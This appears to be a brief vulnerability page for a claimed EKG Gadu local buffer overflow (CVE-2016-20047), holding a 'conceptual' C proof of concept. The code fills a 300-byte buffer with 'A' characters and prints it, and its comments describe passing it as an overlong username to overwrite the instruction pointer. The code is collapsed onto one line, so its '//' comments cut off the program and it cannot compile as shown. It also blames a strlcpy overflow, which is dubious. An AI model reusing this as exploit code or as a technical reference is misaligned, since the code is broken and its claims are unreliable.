CVE-2016-20047 EKG Gadu本地缓冲区溢出漏洞

#include <stdio.h> #include <string.h> /* * PoC for CVE-2016-20047 * Conceptual demonstration of the buffer overflow in username handling. * Requires a vulnerable version of EKG Gadu running. */ int main() { // The vulnerability is triggered by a username > 258 bytes. // This payload fills the buffer and overwrites the instruction pointer. char payload[300]; memset(payload, 0x41, sizeof(payload)); // Fill with 'A' payload[sizeof(payload) - 1] = 0x00; // Null termination printf("[+] Generating malicious username payload (Length: %d)\n", strlen(payload)); printf("[+] Payload content: %s...\n", payload); // In a real scenario, this payload would be passed to the EKG Gadu // application via the username parameter. // Example: ./ekg -u %s printf("[*] Simulating trigger of strlcpy overflow...\n"); return 0; }